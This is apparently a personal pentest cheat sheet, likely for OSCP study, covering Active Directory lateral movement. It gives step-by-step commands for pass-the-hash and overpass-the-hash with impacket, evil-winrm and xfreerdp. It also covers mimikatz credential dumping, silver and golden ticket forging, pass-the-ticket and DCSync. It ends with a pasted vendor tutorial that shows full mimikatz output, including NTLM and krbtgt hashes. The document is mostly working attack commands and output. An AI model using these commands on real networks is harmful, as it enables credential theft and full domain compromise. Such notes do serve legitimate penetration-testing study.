# Pass the hash

impacket-psexec ‘<domain>/<user>@<ip>’ -hashes ‘<lmhash>:<nthash>’

impacket-psexec ‘<domain>/<user>@<ip>’ -hashes ‘:<nthash>’

impacket-psexec ‘<domain>/<user>@<ip>’ -hashes ‘<lmhash>:’

evil-winrm -i 192.168.50.220 -u deadmin -H sdcsvgv6ggfdb566516fsf

xfreerdp /u:<user> /d:<domain> /pth:<hash> /v:<ipAddr> /workarea /smart-sizing /cert:ignore +clipboard

Pass the hash can be used in NTLM Authentication case .

Since the 2014 security update, this technique can not be used to authenticate as any other local admin account.

# Overpass the hash

With overpass the hash, we can “over” abuse a NTLM user hash to gain a full Kerberos Ticket Granting Ticket (TGT) or service ticket, which grants us access to another machine or service as that user.

Transfer all 3 mimikatz file to run mimikatz.exe mimikatz.exe

Give privilege access privilege::debug

sekurlsa::logonpasswords Skip this step, if you already have hash

sekurlsa::pth /user:<user> /domain:<domain> /ntlm:<ntlm hash> /run:PowerShell.exe At this point, we have a new PowerShell session that allows us to execute commands as <user>.

exit mimikatz

klist No Kerberos tickets have been cached, but this is expected since <user> has not performed an interactive login.

net use \\<dc\_machine\_name> However, let’s generate a TGT by authenticating to a network share on the **domain controller** **or another service** with net use:

klist

We have now converted our NTLM hash into a Kerberos TGT, allowing us to use any tools that rely on Kerberos authentication (as opposed to NTLM) such as the official PsExec application from Microsoft

.\PsExec.exe \\<dc\_machine\_name> cmd.exe

ipconfig to check

successfully reused the Kerberos TGT to launch a command shell on the domain controller.

# Silver Ticket Attack

the overpass the hash technique to acquire a Kerberos TGT, allowing us to authenticate using Kerberos. We can only use the TGT on the machine it was created for, but the TGS potentially offers more flexibility

The Pass the Ticket attack takes advantage of the TGS, which may be exported and re-injected elsewhere on the network and then used to authenticate to a specific service. In addition, if the service tickets belong to the current user, then no administrative privileges are required. So far, this attack does not provide us with any additional access, but it does offer flexibility in being able to choose which machine to use the ticket from. However, if a service is registered with a service principal name, this scenario becomes more interesting. Previously, we demonstrated that we could crack the service account password hash and obtain the password from the service ticket. This password could then be used to access resources available to the service account. However, if the service account is not a local administrator on any servers, we would not be able to perform lateral movement using vectors such as pass the hash or overpass the hash and therefore, in these cases, we would need to use a different approach.

1. whoami /user to get **SID** like **S-1-5-21-1602875587-2787523311-2599479668-1103** The SID defining the domain is the entire string except the RID at the end ( -1103 )
2. Extract hash of the service
   1. Mimikatz.exe
   2. privilege::debug
   3. sekurlsa::logonpasswords
3. kerberos::purge to delete existing ticket
4. kerberos::list to verify
5. kerberos::golden /user:<user> /domain:<domain> /sid:<sid> /target:<fully qualified host name of the service> /service:<service\_name>/rc4:<password hash of that service> /ptt
6. misc::cmd to launch cmd to verify the success

# Pass the ticket

Generate a TGS ticket from authorized user session

* ./mimikatz.exe
* privilege::debug
* sekurlsa::tickets /export
* dir \*.kirbi

Select any ticket and copy its name and send to unauthorized user’s session

* kerberos::ptt <ticket-name>
* klist to verify if session is generated or not
* now we can perform action on the behalf of another user whose ticket was captured

# Golden Ticket attack

Going back to the explanation of Kerberos authentication, we recall that when a user submits a request for a TGT, the KDC encrypts the TGT with a secret key known only to the KDCs in the domain. This secret key is actually the password hash of a domain user account called krbtgt. If we are able to get our hands on the krbtgt password hash, we could create our own self-made custom TGTs, or golden tickets

1. mimikatz.exe
2. privilege::debug
3. lsadump::lsa /patch  
   to get **krbtgt** ntlm hash
4. kerberos::purge
5. kerberos::golden /user:<fakeuser> /domain:<domain> /sid:<sid> /krbtgt:<krbtgt ntlm hash> /ptt
6. misc::cmd
7. psexec.exe \\<dc\_machine> cmd.exe With the golden ticket injected into memory, we can launch a new command prompt with misc::cmd and again attempt lateral movement with PsExec
8. whoami
9. whoami /group for verification

# ****Domain Controller Synchronization-**** Dumping all hashes

* mimikatz.exe
* lsadump::dcsync /user:<domain-administrator -username>

# Login method

**Using Impacket in linux when smb is enabled**

impacket-psexec ‘<domain>/<user>:<pass>@<ip>’

**Rdp when smb is disabled**

xfreerdp /u:<user> /p:<pass> /v:<ip> /workarea /smart-sizing /cert:ignore +clipboard

+clipboard allow to copy and paste b/w rdp and local host

**SQL client**

* + proxychains -q impacket-mssqlclient 'OSCP/web\_svc:Test1@10.11.23.148' -windows-auth

**When WINRM port 5985,5986 open**

* + evil-winrm -i 192.168.50.220 -u deadmin -p password
  + evil-winrm -i 192.168.50.220 -u deadmin -p password -S when ssl enabled
  + evil-winrm -i 192.168.50.220 -u deadmin -H sdcsvgv6ggfdb566516fsf
  + evil-winrm -u 'OSCP\salia.meda' -i 10.10.23.152 -H e728ecbadfb0fgrdhrdg2f51ce8eed753f3ff3fd

Even after loging to domain controller and using **whoami** to check , it sometime show user name not **nt authority\system** to get so :

1. PsExec64.exe -i -s cmd.exe
2. whoami  
   display nt authority\system

## Attack Tutorial: How a DCSync Attack Works

STEP 1

### Compromise an account with replication permissions

First, an adversary must compromise an account with the necessary privileges (Replicating Directory Changes All and Replicating Directory Changes) to replicate from Active Directory. The adversary may need to repeat the cycle of internal reconnaissance, lateral movement, and privilege escalation until finding a user with these permissions.  
  
In this example, an attacker is using the hash of a compromised user with the necessary replication permissions to perform a [Pass-the-Hash attack](https://www.netwrix.com/pass_the_hash_attack_explained.html) to launch a command prompt as the compromised user.

PS> .\mimikatz.exe "privilege::debug" "sekurlsa::msv"

mimikatz # sekurlsa::msv

Authentication Id : 0 ; 4018372 (00000000:003d50c4)

Session : RemoteInteractive from 2

User Name : PrivUser1

Domain : Domain

Logon Server : DC1

Logon Time : 15/07/2020 20:28:33

SID : S-1-5-21-5840559-2756745051-1363507867-1105

msv :

[00000003] Primary

\* Username : PrivUser1

\* Domain : Domain

\* NTLM : eed224b4784bb040aab50b8856fe9f02

\* SHA1 : 42f95dd2a124ceea737c42c06ce7b7cdfbf0ad4b

\* DPAPI : eb62f5bb2cc136b30a19c1d11b81dc77

PS> .\mimikatz.exe "sekurlsa::pth /user:PrivUser1 /ntlm:eed224b4784bb040aab50b8856fe9f02 /domain:domain.com"

user : PrivUser1

domain : Domain.com

program : cmd.exe

impers. : no

NTLM : eed224b4784bb040aab50b8856fe9f02

| PID 6020

| TID 3336

| LSA Process is now R/W

| LUID 0 ; 14438952 (00000000:00dc5228)

\\_ msv1\_0 - data copy @ 0000025C281A86C0 : OK !

\\_ kerberos - data copy @ 0000025C27D08608

\\_ aes256\_hmac -> null

\\_ aes128\_hmac -> null

\\_ rc4\_hmac\_nt OK

\\_ rc4\_hmac\_old OK

\\_ rc4\_md4 OK

\\_ rc4\_hmac\_nt\_exp OK

\\_ rc4\_hmac\_old\_exp OK

\\_ \*Password replace @ 0000025C287FF6A8 (32) -> null

STEP 2

### Use the compromised account to replicate data from AD

Next, an adversary uses mimikatz (or a similar tool) to replicate credentials from Active Directory. The most common target for replication is the krbtgt account, as this account’s password is a prerequisite for a [Golden Ticket](https://www.netwrix.com/how_golden_ticket_attack_works.html).

PS> .\mimikatz.exe "lsadump::dcsync /user:DOMAIN\krbtgt"

[DC] 'domain.com' will be the domain[DC] 'DC1.DOMAIN.com' will be the DC server[DC] 'DOMAIN\krbtgt' will be the user account

Object RDN : krbtgt

\*\* SAM ACCOUNT \*\*

SAM Username : krbtgt

User Principal Name : krbtgt@DOMAIN.COM

Account Type : 30000000 ( USER\_OBJECT )

User Account Control : 00000202 ( ACCOUNTDISABLE NORMAL\_ACCOUNT )

Account expiration :

Password last change : 09/03/2020 14:51:03

Object Security ID : S-1-5-21-5840559-2756745051-1363507867-502

Object Relative ID : 502

Credentials:

Hash NTLM: 1b8cee51fd49e55e8c9c9004a4acc159

# ... output truncated ...

\* Primary:Kerberos-Newer-Keys \*

Default Salt : DOMAIN.COMkrbtgt

Default Iterations : 4096

Credentials

aes256\_hmac (4096) : ffa8bd983a5a03618bdf577c2d79a467265f140ba339b89cc0a9c1bfdb4747f5

aes128\_hmac (4096) : 471644de05c4834cc6cbc06896210e7d

des\_cbc\_md5 (4096) : 23861a94ea83a4cd

# ... output truncated ...

STEP 3

### Use the compromised data to achieve additional objectives

Lastly, an adversary can use the newly compromised credentials to further their objectives. In this example, possessing the password hash of the krbtgt account enables the attacker to execute a [Golden Ticket](https://www.netwrix.com/how_golden_ticket_attack_works.html) attack, thereby giving them unfettered access to Active Directory and member computers.

PS> .\mimikatz.exe "kerberos::golden /domain:domain.com /sid:S-1-5-21-5840559-2756745051-1363507867 /krbtgt:1b8cee51fd49e55e8c9c9004a4acc159 /user:Administrator /id:500 /ptt"

User : Administrator

Domain : domain.com (DOMAIN)

SID : S-1-5-21-5840559-2756745051-1363507867

User Id : 500

Groups Id : \*513 512 520 518 519

ServiceKey: 1b8cee51fd49e55e8c9c9004a4acc159 - rc4\_hmac\_nt

Lifetime : 16/07/2020 13:53:58 ; 14/07/2030 13:53:58 ; 14/07/2030 13:53:58-> Ticket : \*\* Pass The Ticket \*\*

\* PAC generated

\* PAC signed

\* EncTicketPart generated

\* EncTicketPart encrypted

\* KrbCred generated

Golden ticket for 'Administrator @ domain.com' successfully submitted for current session

PS> PSExec.exe \\fileserver1 powershell.exe

PsExec v2.2 - Execute processes remotely

Copyright (C) 2001-2016 Mark Russinovich

Sysinternals - www.sysinternals.com

Microsoft Windows [Version 10.0.17763.1339](c) 2018 Microsoft Corporation. All rights reserved.

C:\Windows\system32>hostname

fileserver1